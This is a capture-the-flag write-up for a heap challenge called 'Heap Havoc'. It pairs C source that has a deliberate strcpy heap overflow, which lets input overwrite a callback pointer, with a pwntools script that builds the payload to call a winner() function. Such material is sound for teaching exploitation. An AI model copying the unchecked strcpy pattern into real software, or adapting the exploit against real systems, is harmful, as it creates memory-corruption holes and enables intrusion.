Heap Havoc

#heap#ret2win#solution-only

Contents

Source

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <time.h>

struct internet {
    int priority;
    char *name;
    void (*callback)();
};

void winner() 
{
    FILE *fp;
    char flag[256];

    fp = fopen("flag.txt", "r");
    if (fp == NULL) {
        perror("Error opening flag.txt");
        exit(1);
    }

    if (fgets(flag, sizeof(flag), fp) != NULL) {
        printf("FLAG: %s\n", flag);
    } else {
        printf("Error reading flag\n");
    }

    fclose(fp);
}

int main(int argc, char **argv) 
{
    struct internet *i1, *i2, *i3;
    printf("Enter two names separated by space:\n");
    fflush(stdout);   
    if (argc != 3) {
        printf("Usage: ./vuln <name1> <name2>\n", argv[0]);
        fflush(stdout);  
        return 1;
    }

    i1 = malloc(sizeof(struct internet));
    i1->priority = 1;
    i1->name = malloc(8);
    i1->callback = NULL;

    i2 = malloc(sizeof(struct internet));
    i2->priority = 2;
    i2->name = malloc(8);
    i2->callback = NULL;

    strcpy(i1->name, argv[1]);  
    strcpy(i2->name, argv[2]); 

    if (i1->callback) i1->callback();
    if (i2->callback) i2->callback();

    printf("No winners this time, try again!\n");
}

Solution

#!/usr/bin/env python3

from pwn import *
from termcolor import colored
import time
from tqdm import tqdm

elf = ELF("./vuln_patched")
rop = ROP(elf)

context.aslr = False
context.binary = elf
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b main
contextwatch execute "bins"
"""


def find_offset():
    r = process([elf.path])
    r.sendline(cyclic(1024))
    r.wait()
    result = cyclic_find(r.corefile.pc)
    r.close()
    log.info(f"The offset th return address: " + str(result))
    return result


def conn():
    if args.REMOTE:
        r = remote("foggy-cliff.picoctf.net", 61089)
    elif args.GDB:
        r = gdb.debug([elf.path], gdbscript=dbginit)
    else:
        r = process([elf.path])
    return r


r = conn()

sl   = lambda a   : r.sendline(a)
sla  = lambda a,b : r.sendlineafter(a,b)
ru   = lambda a   : r.recvuntil(a)
rud  = lambda a   : r.recvuntil(a,drop=True)
ruds = lambda a   : r.recvuntilS(a,drop=True)

def main():
    trash_bin = 0x804c110
    offset = b'i' * 20
    payload = offset + p32(trash_bin) + p32(elf.sym["winner"]) + b' iii'

    sl(payload)
    ru(b'FLAG: ')
    flag = ruds(b'\n')
    print()
    print(flag)
    print()


if __name__ == "__main__":
    main()